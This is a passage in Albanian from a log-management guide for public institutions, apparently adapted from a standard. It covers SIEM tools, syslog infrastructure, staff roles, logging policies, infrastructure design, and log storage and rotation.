Secila prej mënyrave ka avantazhet dhe disavantazhet e saj. E para nuk ka nevojë për instalime, konfigurime apo mirëmbajtje pasi serveri kujdeset për menaxhimin. Disavantazhi është mungesa e filtrimit dhe agregimit në nivelin e hostit, çka rrit sasinë e punës të kryer nga serveri, kohën etj. Tjetër disavantazh është që serveri' ka nevojë për kredencialet për t'u loguar në çdo host. Në disa raste vetëm një nga dy mënyrat është e mundshme sepse serveri nuk mundet të tërheqi të dhënat.

SIEM suportojnë shumë lloje sistemesh operimi, software sigurie, aplikacione apo pajisje të tjera si burime logesh. Ato automatikisht njohin fushat kryesore të log-eve duke lehtësuar mjaft procesin e analizës, normalizimit dhe lidhjes. Gjithashtu SIEM mund të bëjnë edhe heqjen e ngjarjeve më pak të rëndësishme. Pavarsisht se si marrin log-et SIEM kryejnë funksionalitet e analizës, lidhjes mes ngjarjeve, dhënien e prioriteteve dhe nisjen e procedurave si përgjigjet për rastet e veçanta. SIEM përfshijnë:

a) Një ndërfaqe grafike që shërben për të ndihmuar analistët në punën e tyre.
b) Menaxhim incidentesh dhe krijim raportesh.
c) Manual për cënueshmëritë e ndryshme të log-eve.
d) Dhënien e prioriteteve.

2.5 Lloje të tjera softwaresh për menaxhimin e log-eve

Disa tipe të tjera software që shërbejnë në menaxhimin e log-eve janë:

a) Sistemet e detektimit të ndërhyrjeve. Këto sisteme monitorojnë hostin dhe detektojnë aktivitet e dyshimta. Ato monitorojnë sistemin e operimit, aplikacione të ndryshme, rrjetat etj. Shpeshherë ato shërbejnë si një nga mjetet për detektimin e sulmeve. Zakonisht ato kanë të dhëna për lloje të njohura sulmesh.
b) Mjetet e vizualizimit. Këto mjete shfaqin të dhënat në formë grafike. Ato shfaqin të dhëna të grupuara në bazë të karakteristikave të ndryshme si psh adresa e hostit etj. Më pas një analist mund të përdori këto të dhëna duke hequr prej tyre aktivitet e njohura dhe duke lejuar të vizualizohen ato që mund të përbëjnë problem.
c) Mjete për rotacionin e log-eve**.** Adminsitratorët mund të përdorin mjete të tilla për të ndihmuar në rotacionin e log-eve.
d) Mjete për konvertimin e log-eve. Adminsitratorët mund të përdorin mjete të tilla për të ndihmuar në konvertimin e log-eve.

2.6 Përmbledhje

Një infrastrukturë logesh përbëhet nga hardware, software, rrjetat e përdorura për gjenerimin, transferimin, ruajtjen dhe fshirjen e log-eve. Infrastruktura kryen disa funksione si analizimi i ngjarjeve, filtrimi, agregimi, normalizimi dhe lidhja. Infrastruktura gjithashtu ndihmon në mënyrë që log-et të jenë të akksesueshëm dhe mundëson shfaqjen, konvertimin, analizimin, arkivimin si dhe vërtetimin e log-eve.

Infrastrukturat e bazuara në sistemet e qendërzuara syslog përgjithsisht mund të ndahen në 3 nivele. Niveli i parë përmban hostet të cilat gjenerojnë log-et. Niveli i dytë përmban serverat të cilët ruajnë të dhënat dhe kryejnë procese për konsolidimin e tyre. Niveli i tretë përbëhet nga makina të cilat bëjnë monitorimin dhe shfaqjen e të dhënave si dhe menaxhimin e serverave dhe klientëve.

Në sistemet e bazuara në syslog çdo host gjeneron log-et në një standart të thjeshtë. Meqë syslog është një protokoll i thjeshtë standart, shumë sisteme operimi mund ta përdorin atë. Përshkak se është zhvilluar shpejt, syslog nuk ofron sigurinë e nevojshme për gjenerimin, ruajtjen dhe transmetimin e log-eve si dhe për integritetin e tyre.

Për të rritur sigurinë, janë zhvilluar implementime të reja të syslog të cilat ofrojnë mjaft mjete që kanë sigurinë e nevojshme, si dërgimi i besueshëm i paketave, enkriptimi në transmetim etj.

KAPITULLI III

3. Planifikimi i menaxhimit të log-eve

Për krijimin dhe mirëmbajtjen e një infrastrukture të suksesshme të menaxhimit të log-eve, një institucion publik duhet të realizojë një planifikim të rëndësishëm dhe veprime të tjera përgatitore për kryerjen e menaxhimit të log-eve. Kjo është e rëndësishme për krijimin e praktikave të besueshme, të qëndrueshme dhe efikase të menaxhimit të log-eve të cilat përmbushin nevojat dhe kërkesat e institucionit dhe që gjithashtu sigurojnë vlera shtesë për institucionin publik. Ky seksion përshkruan përcaktimin e roleve dhe përgjegjësive të menaxhimit të log-eve, krijimimin e politikave të realizueshme të log-eve, dhe projektimin e infrastrukturave të menaxhimit të log-eve. Kapitulli 5 përshkruan aspektet operacionale të menaxhimit të log-eve.

3.1 Përcaktimi i roleve dhe përgjegjësive

Si pjesë e procesit të menaxhimit të planifikimit te log-eve, një institucion duhet të përcaktojë rolet dhe përgjegjësitë e individëve dhe ekipeve të cilët priten të jenë të përfshirë në menaxhimin e log-eve. Ekipet dhe rolet individuale shpesh të përfshirë në menaxhimin e log-eve përfshijnë si në vijim:

a) Administratorët e rrjetit dhe të sistemit, të cilët zakonisht janë përgjegjës për konfigurimin e logimit në sistemet individuale dhe në pajisjet e rrjetit, duke analizuar ato logime periodikisht si dhe duke raportuar rezultatet e aktiviteteve të menaxhimit të log-eve, dhe duke kryer rregullisht mirëmbajtjen e log-eve dhe aplikacioneve të tyre.
b) Administratorët e sigurisë, të cilët zakonisht janë përgjegjës për menaxhimin dhe monitorimin e infrastrukturave të menaxhimit log-eve, duke konfiguruar logimin në pajisjet e sigurisë (p.sh., firewalls, rrjetit me bazë në sistemet e zbulimit ndërhyrje, antivirus servers), raportimin mbi rezultatet e aktiviteteve të menaxhimit te log-eve, dhe duke ndihmuar të tjerët me konfigurimin e logimeve dhe kryerjen e analizës së këtyre logimeve.
c) Ekipet përgjegjëse për menaxhimin e incidenteve të sigurisë kompjuterike, të cilët përdorin të dhënat logimeve ndërkohë që bëjnë trajtimin e incidenteve.
d) Zhvilluesit e aplikimit, të cilët mund të kenë nevojë të hartojnë ose rregullojnë aplikimet në mënyrë që ata të kryejnë aksese në përputhje me kërkesat dhe rekomandimet e logimeve.
e) Oficerët e sigurisë së informacionit, të cilët mund të kryejnë mbikëqyrjen e infrastrukturave të menaxhimit të log-eve.
f) Shefat e oficereve të informacionit (CIO), të cilët mbikëqyrin burimet e IT-ve që gjenerojnë, transmetojnë dhe arkivojnë log-et.
g) Audituesit, të cilët mund të përdorin të dhënat e log-eve gjatë kryerjes së auditimeve.
h) Individët e përfshirë në prokurimin e programeve që duhet apo mund të gjenerojnë të dhëna kompjuterike të sigurisë së log-eve.

Institucionet publike duhet të kushtojnë vëmendje të veçantë për caktimin e detyrave operacionale e menaxhimit të log-eve. Disa institucione publike, veçanërisht ato me shumë mjedise të menaxhuara, mund të zgjidhin të kryejnë menaxhim të centralizuar të log-eve në vend të asaj lokale. Megjithatë, në shumicën e institucioneve, menaxhimin i log-eve nuk është aq i centralizuar. Në mënyrë tipike, administratorët e sistemit, rrjetit dhe sigurisë janë përgjegjës për menaxhimin e logimeve në sistemet e tyre, duke kryer analiza të rregullta të të dhënave të tyre, si dhe dokumentimin dhe raportimin e rezultateve të menaxhimit të ketyre aktiviteteve, duke u siguruar që të dhënat e log-eve janë dhënë për infrastrukturën e menaxhimit në përputhje me politikat e institucionit.

Përveç kësaj, disa prej administratorëve të institucionit publik veprojnë si administratorë të menaxhimit të infrastrukturës se log-eve, me përgjegjësi si në vijim:

a) Administratorë kontakti në nivelet e sistemit, për të marrë informacion shtesë në lidhje me një ngjarje apo të kryejnë hetime mbi një ngjarje të caktuar.

b) Identifikimi i ndryshimeve të nevojshme për konfigurimin e sistemit të logimeve (psh.që shënimet dhe të dhënat janë dërguar në serverat e centralizuara log, çfarë formati duhet të përdoret) dhe informimi i administratoreve të nivelit për ndryshimet e nevojshme.
c) Inicimi i përgjigjes ndaj ngjarjes, duke përfshirë trajtimin e incidentit dhe probleme operacionale (psh. një dështim i një komponenti të menaxhimit të infrastrukturës log).
d) Garantimi i ruajtjes në mjedise të lëvizshme të log-eve të vjetra dhe fshirja e tyre në rast se ato janë të padobishme.
e) Bashkëpunimi me kërkesat nga mbrojtësit ligjorë, auditorët, dhe të tjerët.
f) Monitorimi i statusit të infrastrukturës së menaxhimit të log-eve (psh. dështimet në software ose mediat e arkivimit, dështimet e sistemeve lokale për të transferuar të dhënat e tyre log) dhe inicimin e përgjigjeve të duhura në rast se ndodhin probleme.
g) Testimi dhe implementimi i përmirësimeve dhe përditesimeve në komponentet e infrastrukturës së menaxhimit të log-eve.
h) Ruajtja e sigurisë së infrastrukturës së menaxhimit të log-eve.

Një tjetër përgjegjësi shumë e rëndësishme e administratorëve të strukturës së menaxhimit të log-eve është verifikimi i punës së administratorëve të niveleve. Kur të vendosin se si të ndajnë detyrat e menaxhimit te log-eve, institucionet publike mund të marrin në konsideratë ndarjen e detyrave dhe llogaridhënien. Për shembull, të paturit dikë tjetër perveç administratorit të sistemit qe të shqyrtojë log-et për një sistem të veçantë ndihmon për të siguruar llogaridhënien për veprimet e administratorit të sistemit, duke përfshirë konfirmimin se logimet janë aktivizuar.

Institucionet duhet të përcaktojnë se, sa duhet të bëhet analiza nga sistemi i nivelit administrativ dhe sa nga administratorët e menaxhimit të infrastrukturës së log-eve. Në përgjithësi, disa analiza duhet të kryhen në nivelin e sistemit, sepse administratorët e sistemit mund të sigurojnë kontekstin për ngjarjet e regjistruara në të dhënat e log-eve. Për shembull, nëse një log tregon se një sistem restartohet tre herë në një orë, një administrator infrastrukture mund të mos jetë në gjendje të përcaktojnë se pse ka ndodhur kjo ngjarje nga rishikimi i këtyre log-eve. Një arsye tjetër për kryerjen e analizës ne nivel sistemi është se administratorët lokalë mund të kenë interesa të ndryshme nga administratorët e infrastrukturës, të tilla si identifikimi i problemeve operative dhe shqetësime te tjera te cilat nuk lidhen me sigurinë. Gjithashtu, shpesh ka më shumë ngjarje për administratorët e infrastrukturës për të shqyrtuar, dhe shumë të dhëna për transferim nëpër të gjithë rrjetin për tek struktura e menaxhimit te log-eve. Kryerja e analizave në nivel sistemi është gjithashtu e dobishme për administratorët në perfitimin e një kuptimi më të mirë të karakteristikave të secilit sistem në mënyrë që ata të mund të bëjnë rregullime të imëta ne konfigurimin e logut.

Kryerja e analizave në nivel të infrastrukturës është veçanërisht e dobishme në disa mënyra. Ka më shumë mundësi të kryhet në kohë reale të sistemit sesa në nivel analize, kjo përgjigjet në kohë më të shpejtë të ngjarjeve serioze lidhur me sigurisë dhe ndihmon për të minimizuar ndikimin e incidenteve të sigurisë. Zakonisht, që të dhënat e nje logu të kenë regjistruar ngjarje të rëndësishme, duhet të analizohet në mënyrë të vazhdueshme, në përputhje me monitorimin e sigurisë të

centralizuar, kontrolle të tilla si sistemet e zbulimit të ndërhyrjeve ne rrjet, software antivirus, dhe të rrjetit firewalls. Gjithashtu, analizat në nivel infrastrukture mund të gjejnë modele të ngjarjeve në të gjithë sistemet, të tilla si sulmet e koordinuara ose të përhapura, dhe sulmet mes sistemeve të institucionit publik. Një tjetër arsye, siç u përmend më herët, është ndarja e detyrave mes administratorëve të niveleve të sistemitdhe administratorëve të infrastrukturës.

Në përgjithësi, në rastet kur përcaktohet se si të ndajnë përgjegjësitë e analizave, institucionet publike duhet të përqëndrohen në rëndësinë relative të llojeve të ndryshme të hyrjeve dhe kontekstit të nevojshme për të kuptuar kuptimin e vërtetë çdo hyrje te logut. Institucionet duhet të mendojnë me kujdes për burimet e mundshme të kontekstit, të tilla si ndryshimin e menaxhimit të informacionit, që administratorët e infrastrukturës mund të jetë në gjendje të përdorin. Për llojet e hyrjes që në përgjithësi nuk kërkojnë kontekst, institucionet publike duhet të konsiderojnë automatizimin dhe përqëndrimin e centralizuar të analizave sa më shumë të jetë e mundur. Për llojet e hyrjes që kërkojnë kontekst, institucionet ose duhet të mbështeten në sistemin e nivelit të administratorëve, ose të sigurojnë që konteksti i nevojshëm është në dispozicion për administratorët e infrastrukturës, ndryshimin e programit të menaxhimin të të dhënave, apo burime të tjera.

Për të siguruar që menaxhimi i log-eve në nivel sistemi është kryer në mënyrë efektive në të gjithë institucionin, administratorët e këtyre sistemeve duhet të marrin mbështetjen e duhur nga institucioni. Duke supozuar se administratorët e nivelit të sistemit kanë përgjegjësi tipike, mbështetja e një institucioni publik për ta duhet të përfshijë veprimet e mëposhtme:

a) Shpërndarjen e informacionit dhe ofrimin e trajnimeve në rolet që sistemet individuale dhe administratorët e tyre luajnë në infrastrukturën e menaxhimit të log-eve.
b) Sigurimin e pikave të kontaktit të cilët mund t'u përgjigjen pyetjeve të administratorëve.
c) Inkurajimi i administratorëve të paraqesin mësimet e mësuara prej tyre, dhe duke siguruar një mekanizëm për të përhapur idetë e tyre (p.sh., mailing list, forumet e brendshëm Web, seminar)
d) Sigurimi i udhëzimeve specifike teknike për integrimin e të dhënave të log-eve nga sistemi me infrastrukturën e menaxhimit te log-eve.
e) Duke patur parasysh krijimin e një mjedisi test për loging. Institucionet mund të provojnë konfigurime të ndryshme për burimet e përbashkëta të log-eve, dokumenet e rekomandimeve dhe udhëzimeve , i kalojnë administratorëve për përdorim. Ky informacion duhet t'i ndihmojë ata të konfigurojnë log-et në mënyrë më efikase dhe në vazhdimësi.
f) Ndërtimi i mjeteve të tilla si skripte rrotullimit (ndryshimit) analiza log dhe software në dispozicion të administratorëve, së bashku me dokumentacionin. Institucionet publike duhet të konsiderojnë implementimin e këtyre në një mjedis provë dhe dokumentimin e rekomandimeve dhe udhëzimeve për përdorimin e tyre.

Institucionet duhet gjithashtu të sigurojnë mbështetje të ngjashme për administratorët infrastrukturës, me një theks të veçantë në trajnimin dhe mjetet.

3.2 Krijimi i Politikave Log-ing

Një institucioni publik duhet të përcaktojë kërkesat e tij dhe qëllimet për kryerjen e log-eve dhe monitorimin e tyre, siç përshkruhet në seksionin 2.2. Kërkesat duhet të përfshijnë të gjitha ligjet e aplikueshme, rregulloret, dhe politikat ekzistuese të organizative të brëndshme, të tilla si politikat e mbajtjes dhe ruajtjes së të dhënave. Qëllimet duhet të bazohet në balancimin e uljes së rrezikut të institucionit me kohën dhe burimet e nevojshme për të kryer funksionet e menaxhimit të log-eve. Kërkesat dhe qëllimet duhet të përdoren si bazë për krijimin e një institucioni publik me bazë të gjerë në menaxhim dhe prioritizimin e menaxhimit log-eve në menyre të përshtatshme në të gjithë ndërmarrjen.

Institucionet publike duhet të zhvillojnë politika që përcaktojnë qartë kërkesat e detyrueshme dhe rekomandimet e sugjeruara për disa aspekte të menaxhimit te log-eve, si vijon:

a) Gjenerimi i Log-eve

   1) Cilat tipe të hosteve duhet apo do të kryejnë logging.
   2) Cili komponent i hosteve duhet apo do të kryejë logging (p.sh., OS, shërbime, aplikim).
   3) Cilat lloje të ngjarjeve të secilit komponent duhet ose do të logohen (p.sh., ngjarjet e sigurisë, lidhjet e rrjetit, përpjekjet e autentikimit).
   4) Cilat karakteristika të të dhënave duhet ose do të regjistrohen për çdo lloj ngjarjeje (p.sh., username dhe adresa IP gjatë autentikimit).
   5) Sa shpesh çdo lloj i ngjarjes duhet ose do të regjistrohet (p.sh., çdo ngjarje, një herë për të gjitha rastet në minuta x, një herë për çdo rast x, çdo rast pas rasti x).

b) Transmetimi i Log-ut

1) Cilat lloje të hosteve duhet ose do të transferojë shkrimet në një infrastrukturë të menaxhimit log.
2) Cilat lloje të hyrjeve dhe karakteristikat e të dhënave duhet ose do të transferohen nga hoste individuale për një infrastrukturë të menaxhimit të log-eve.
3) Sa të dhëna log duhet ose do të transferohen (p.sh cilat protokolle janë të lejueshme).
4) Sa shpesh duhet të dhënat e logut të transferohen nga hoste individuale për në një infrastrukturë të menaxhimit log (p.sh., në kohë reale, çdo 5 minuta, çdo orë)
5) Si, konfidencialiteti, integriteti dhe disponueshmëria e të dhënave të çdo lloj logu duhet ose do të mbrohen gjatë tranzitimit, duke përfshirë edhe nëse do të përdoret një rrjet tjetër logimi.

c) Logimi në memorje dhe dispozicioni

1) Sa shpesh duhet të ndërrohen logimet.
2) Si konfidencialiteti, integriteti, dhe disponueshmeria e çdo lloj të të dhënave log duhet ose do të mbrohen, ndërsa janë në ruajtje të regjistruara në memorje (në nivel të sistemit dhe nivelit të infrastrukturës).
3) Sa kohë çdo lloj i të dhënave log duhet ose do të ruhet (në nivel të sistemit dhe nivelit të infrastrukturës).
4) Si të dhënat e panevojshme log duhet ose do të të hidhen (në nivel të sistemit dhe nivelit të infrastrukturës).
5) Sa duhet të jetë hapësira e magazinimit në dispozicion (në nivel të sistemit dhe nivelit të infrastrukturës).
6) Sa kërkesa të ruajtjes log, të tilla si një kërkesë ligjore për të parandaluar ndryshimin dhe shkatërrimin e të dhënave log të veçanta, duhet të trajtohen (p.sh., si shkrimet ndikuar duhet të shënohen, ruhen dhe mbrohen).

d) Analiza Log

1) Sa shpesh çdo lloj i të dhënave log duhet ose do të analizohet (në nivel të sistemit dhe nivelit të infrastrukturës).
2) Kush duhet ose do të jetë në gjendje për të hyrë në të dhënat e logut (në nivel të sistemit dhe nivel të infrastrukturës), dhe deri në çfarë shkalle do të jetë aksesimi.
3) Çfarë duhet ose do të bëhet kur aktivitet i dyshimtë ose një anomali është identifikuar.
4) Si konfidencialiteti, integriteti dhe disponueshmëria e rezultateve të analizës log (p.sh., alarme, raportet) duhet ose do të mbrohen, ndërsa janë në ruajtje (në nivel të sistemit dhe nivel të infrastrukturës) dhe në transit.
5) Si shpalosjet e pavëmendëshme të informatave të ndjeshme (sensitive) të regjistruara në loge, të tilla si fjalëkalimet ose përmbajtjen e e-mail, duhet të trajtohen.

Politikat e një institucioni duhet gjithashtu të adresojnë, cilët brenda një institucioni publik mund të krijojnë dhe menaxhojnë infrastrukturat e menaxhimit log.

Institucionet duhet gjithashtu të sigurojnë që politikat, udhëzimet dhe procedurat të mbështesin kërkesat e menaxhimit të log-eve dhe rekomandimet, si dhe të jenë në pajtueshmëri me kërkesat funksionale dhe operacionale. Një shembull është të sigurohet që prokurimi i softwareve dhe aktivitetet me porosi të zhvillimit të aplikacioneve të marrin në konsideratë kërkesat e menaxhimit të log-eve.

3.3 Krijimi i politikave të zbatueshme

Krijimi i politikave dhe rregulloreve duhet bërë në përputhje me një analizë të burimeve dhe teknologjive që do të përdoren si edhe efektet që kanë mbi sigurinë dhe legjislacionin në fuqi. Kur është e mundur institucionet publike duhet të shohin log-et aktuale dhe konfigurimet e tyre në

mënyrë që të ulen rreziqet. Psh mbajtja e një logu auditi nga sistemi i operimit mund të rrisi në mënyrë të ndjeshme numrin e log-eve që gjenerohen duke e bërë të pamundur procesimin e shpejtë të analizës së tyre si dhe duke ndikuar në performancën e përgjithshme.

Ruajtja e sa më shumë të dhënave nuk është domosdoshmërisht e mirë. Institucionet duhet të ruajnë të dhënat që kanë më shumë rëndësi. Kur bëjnë politikat, institucionet publike duhet të kujdesen që të ruajnë fleksibilitetin pasi të dhënat ruhen nga hoste të ndryshme dhe kanë karakteristika të ndryshme. Fleksibiliteti është i rëndësishëm pasi të dhënat nga hostet ndryshojnë shpejt. Një përditësim, patch ose instalim mund të ndryshojë natyrën e logut. Kur të bëjnë politikat, institucionet duhet të kujdesen që për situatat kritike t'i lejojnë administratorët të ndryshojnë konfigurimin e log-eve. Megjithatë këto ndryshime duhet të konsiderohen si zgjidhje e fundit.

3.4 Dizenjimi i infrastrukturës së menaxhimit të log-eve.

Mbas krijimit të politikave dhe procedurave një institucion publik duhet të kujdeset për dizenjimin e një infrastrukture e cila do të mbështesë këto politika dhe procedura. Nëse institucioni ka një infrastrukturë të tillë atëherë ajo duhet të analizojë mundësitë e modifikimit të kësaj infrastrukture. Nëse institucioni e sheh të arsyeshme atëherë ajo mund të modifikojë politikat që të ulë kostot e infrastrukturës për menaxhimin e log-eve. Mund të kalohet në disa cikle të tilla deri sa të arrihet në një ekuilibrim dhe të finalizohet zgjidhja për të dy pjesët, politikat dhe procedurat nga një anë dhe infrastruktura nga ana tjetër.

Kur dizenjohet një infrastrukturë logesh institucionet duhet të kenë parasysh disa faktorë dhe të marrin në konsideratë gjendjen aktuale të infrastrukturës si edhe të ardhmen. Disa nga këta faktorë janë:

a) Volumi maksimal që mund të arrijë institucioni në orë ose ditë për loge. Institucionet duhet të kenë parasysh që me kalimin e kohës sasia e log-eve rritet ndjeshëm dhe kjo e bën të nevojshëm marrjen parasysh të disa faktorve në llogaritjen e sasisë maksimale të log-eve. Në situata kritike faktor mund të jetë një sulm për ndërprerje shërbimi, një skanim për cënueshmëri, një virus që kopjon veten në rrjet etj. Shumë software sot e masin kapacitetin e tyre me sa loge arrijnë të mbajnë në sekond.
b) Sasinë maksimale që mund të arrijë përdorimi i rrjetit.
c) Sasinë maksimale të të dhënave që mund të ruhen si dhe kohën që duhet për krijimin e backupeve.
d) Kërkesat e sigurisë për log-et. Nëse të dhënat duhet të enkriptohen kjo kërkon më shumë burime nga rrjeti pasi rritet sasia e të dhënave të transmetuara.
e) Koha e nevojshme që stafi të analizojë log-et.

3.5 Përmbledhje

Për ndërtimin e një infrastrukture të suksesshme në menaxhimin e log-eve një institucion publik duhet të bëjë një planifikim të mirë. Kjo është e rëndësishme për krijimin e praktikave efikase në menaxhimin e log-eve.

Si pjesë e procesit të planifikimit, një institucioni duhet të përfshijë rolet dhe përgjegjësitë e individëve dhe skuadrave të cilët duhet të merren me menaxhimin e log-eve. Administratorët e rrjetave dhe sistemeve janë përgjegjës për konfigurimin e log-eve të rrjetit dhe sistemeve si dhe për analizimin e tyre, gjithashtu ata duhet të kujdesen për mirëmbajtjen e softwareve të përdorura për logim. Administratorët e sigurisë janë përgjegjës për infrastrukturën e log-eve, log-et e pajisjeve të sigurisë, raportimin e problemeve të sigurisë etj.

Institucionet publike më pas duhet të caktojnë në mënyrë specifike kërkesat e tyre për loge dhe të krijojnë politikat dhe procedurat për to, në këto të fundit duhet përcaktuar saktë çfarë është e detyrueshme të mbahet si log dhe cilat janë rekomandimet. Në këto politika duhet të sqarohet gjenerimi, transmetimi, ruajtja, arkivimi dhe fshirja e log-eve. Politikat duhet të kenë gjithashtu parasysh edhe anën ligjore.

Në fund një institucion duhet të dizenjojë një infrastrukturë e cila është në përputhje me politikat dhe procedurat. Përgjithsisht institucionet ruajnë vetëm të dhënat e rëndësishme për to, por në raste të veçanta të gjitha log-et mund të ruhen për afate të shkurtra kohe.

KAPITULLI IV

4. Administrimi operacional i proceseve të punës

Administratorët e sistemit dhe infrastrukturës duhet të ndjekin procese standarte për menaxhimin e detyrave, për të cilat ata janë përgjegjës.

Ky paragraf përshkruan proceset operacionale më të rëndësishme për menaxhimin e detyrave që janë si vijon:

a) Konfiguron burimet e log-eve, duke përfshirë gjenerimin, ruajtjen dhe sigurinë.
b) Kryen analizat e të dhënave të log-eve.
c) Ndërmerr reagimet e përshtatshme për ngjarjet e identifikuara.
d) Menaxhon ruajtjen afatgjatë të të dhënave të punës.

Ky kapitull përshkruan secilin nga këto procese dhe rrugën për t'i realizuar ato. Ai jep gjithashtu një shtjellim të përmbledhur të proceseve të tjera operacionale që niveli i sistemit dhe administratorët e infrastrukturës, duhet të ndjekin. Kapitulli gjithashtu përshkruan nevojën për të kryer kontrolle sistematike të punës.

4.1 Konfigurimi i Burimeve të Log-eve

Administratorët e nivelit të sistemit duhet të konfigurojnë burimet e log-eve, në mënyrë që të kapin informacionin e nevojshëm në formatin dhe vendin e dëshiruar, gjithashtu ta ruajnë këtë informacion për një periudhë kohe të caktuar.

Konfigurimi i burimeve të log-eve shpesh është një proces kompleks.
Së pari administratorëve u nevojitet të përcaktojnë, cili nga hostet dhe komponentët e tyre, duhet të marrë pjesë në infrastrukturën e menaxhimit të log-eve, bazuar në politikat e institucionit.
Një log i vetëm mund të përmbajë informacione nga burime të ndryshme, si p.sh. një log sistemi operativ (OS) përmban informacion të vetin, por në të njejtën kohë edhe informacion të programeve dhe aplikacioneve të ndryshme, përgjegjëse për sigurinë.
Administratorët duhet të konstatojnë cilat burime të log-eve përdorin secilin dokument të tij.
Pastaj, për secilin burim të identifikuar logesh, administratorët duhet të llogarisin cilat tipe të ngjarjeve secili burim logesh duhet të logojë, dhe gjithashtu cilat karakteristika të të dhënave duhet të logohen për secilin tip ngjarjeje.
Aftësia e administratorëve për të konfiguruar secilin burim logesh, varet prej tipareve të ofruara nga një lloj i veçantë i burimit të log-eve.
P.sh. disa burime logesh ofrojnë mundësi konfigurimi tepër të pakta, ndërsa të tjera nuk ofrojnë fare ketë mundësi, ku logimi është thjesht lidhje dhe shkëputje pa pasur kontroll mbi të.

4.1.1 Gjenerimi i Log-eve

Duke supozuar se një burim i log-eve ofron opsionet e konfigurimit, në përgjithësi duhet të jemi të kujdesshëm kur zgjedhim konifgurimet fillestare të log-eve. Një ndryshim i vetëm mund të shkaktojë një numër të madh të hyrjeve të log-eve që regjistrohen, apo shumë më tepër informacion që logohet për çdo ngjarje. Prerjet e tepërta mund të shkaktojë humbjen e të dhënave log, si dhe probleme operacionale të tilla si ngadalësim të sistemit apo edhe mohim i shërbimit. Administratorët e nivelit të sistemit duhet të marrin në konsideratë efektin e mundshëm të konfigurimit të burimit të log-eve jo vetëm në hostin e logimit, por edhe në menaxhimin e infrastrukturës së log-eve të komponenteve të tjerë, psh prerjet e tepruara mund të shkaktojnë përdorimin në mënyrë të konsiderueshme të bandwidth-it, rrjetit dhe ruajtjes të centralizuar të log-eve.

Për konfigurimin e burimeve të log-eve me të cilin administratorët nuk janë plotësisht të familjarizuar, administratorët mund të zgjedhin për ti provuar ata në një mjedis testimi perpara se të vendosen në ndonjë sistem të vërtet të prodhimit. Kjo është e rekomanduar veçanërisht për burimet më të zakonshme, burimet e log-eve kritike dhe në burimet më të rëndësishme. Shitësit e programeve dhe pjesmarrës te tjere gjithashtu mund të kenë informacion te gatshëm mbi aftësitë e

logimit dhe efektet tipike të konfigurimeve të ndryshme, të cilat mund të jenë shumë të dobishme në përcaktimin e një konfigurimi fillestar.

4.1.2 Ruajtja dhe fshirja e log-eve

Administratorët e nivelit të sistemit duhet të përcaktojnë se si çdo burim logesh duhet të ruajë të dhënat e veta. Kjo duhet të nxitet kryesisht nga politikat e institucionit në lidhje me ruajtjen e log-eve. Pasi këto kërkesa janë përmbushur, administratorët në mënyrë tipike kanë fleksibilitet të konsiderueshëm në lidhje me cilësimet e tjera të ruajtjes të log-eve. Opsionet e magazinimit për hyrjet e log-eve janë si më poshtë:

a) Nuk ruhen. Hyrjet që janë përcaktuar të kenë pak vlerë ose aspak për institucionin, të tilla si mesazhet e rregullta që mund të kuptohen vetëm nga shitësi i programit, ose mesazhet e gabimit që nuk identifikojnë ndonjë hollësi të veprimtarisë, në përgjithësi nuk duhet të ruhen.

b) V**e**tëm niveli i sistemit**.** Hyrjet që mund të jenë me vlerë apo në interes të administratorit të nivelit te sistemit, por nuk janë mjaft të rëndësishme për t'u dërguar në infrastrukturën e menaxhimit të log-eve, duhet të ruhen në sistem. Për shembull, nëse një incident ndodh, hyrje shtesë të nivelit të sistemit të log-eve mund të ofrojnë më shumë informata për serinë e ngjarjeve që lidhen me këtë incident. Administratorët e nivelit të sistemit mund ta gjejnë të dobishme për t'i shqyrtuar këto hyrje, për të zhvilluar bazat e veprimtarisë tipike dhe të identifikojnë prirjet afatgjata.

c) Niveli i sistemit dhe niveli i infrastrukturës**.** Hyrjet që konsiderohen të jenë me interes të veçantë duhet të ruhen në sistem dhe gjithashtu të transmetohen edhe në infrastrukturën e menaxhimit te log-eve. Arsyet për t'i pasur log-et në të dyja vendet janë si vijon:

   1. Nëse sistemi apo infrastruktura e log-eve dështojnë tjetra duhet ende të ketë të dhënat log. Për shembull, nëse një server log dështon ose një dështim në rrjet pengon hostin për ta kontaktuar atë, logimi në sistem ndihmon për të siguruar që të dhënat log të mos humbasin.
   2. Gjatë një incidenti në një sistem, shkrimet e sistemit mund të ndryshohen ose të shkatërrohen nga sulmuesit, megjithatë, zakonisht sulmuesi nuk do të ketë asnjë qasje në shkrimet e infrastrukturës. Stafi si përgjigje për incidentin mund të përdorë të dhënat nga shkrimet e infrastrukturës, gjithashtu, ata mund të krahasojnë shkrimet e infrastrukturës dhe sistemit për të përcaktuar se çfarë të dhënash jane ndryshuar apo hequr, krahasime të cilat më pas mund të tregojnë se çfarë qellimi kishte sulmuesi.
   3. Administratorët e sistemit apo të sigurisë për një sistem të veçantë janë shpesh përgjegjës për analizimin e log-eve të tij, por jo për të analizuar të dhënat e saj në log-et e serverave te infrastrukturës. Prandaj, log-et e sistemit duhet të përmbajnë të gjitha të dhënat nç interesa të administratorëve tç nivelit tç sistemit.

d) Niveli i infrastrukturës. Hyrjet që ruhen në serverat e infrastrukturës duhet të ruhen në sistem. Megjithatë kjo nuk është gjithmonë e mundur sepse ka sisteme me kapacitet të ulët. Rotacioni lokal i log-eve është gjithashtu një pjesë e rëndësishme e konfigurimit të log-eve. Administratorët duhet të konfigurojnë burimet në mënyrë që rotacioni i log-eve të bëhet në intervale të caktuara kohe ose kur skedari arrin një madhësi të caktuar. Disa burime nuk e ofrojnë opsionin e rotacionit të log-eve. Në këto raste është mirë të përdoren software nga palë të treta për të bërë rotacionin. Në disa raste akoma më të veçanta, për shkak të formatit të personalizuar të log-eve nuk mund të behet rotacioni. Në këto raste administratorit mund t'i ofrohet një nga zgjidhjet e mëposhtme.

e) Ndalimi i log-eve**.** Ky përgjithsisht është një opsion i papranueshëm pasi lejon veprimtarinë e kryer të mbetet e pamonitoruar.

f) Mbishkrimi i log-eve të vjetra**.** Ky është një opsion i pranueshëm për burimet e log-eve me prioritet të ulët. Ky është opsion i pëlqyeshëm sidomos në rastet kur log-et e vjetra janë transmetuar tashmë në infrastrukturën qëndrore. Kjo është metoda me e mirë për loge mbi të cilat nuk mund të bëhet rotacion.

Shumë nga burimet e log-eve dërgojnë mesazhe sa herë që ka arritur 90% e kapacitetit dhe ka nevojë për rotacion logesh.

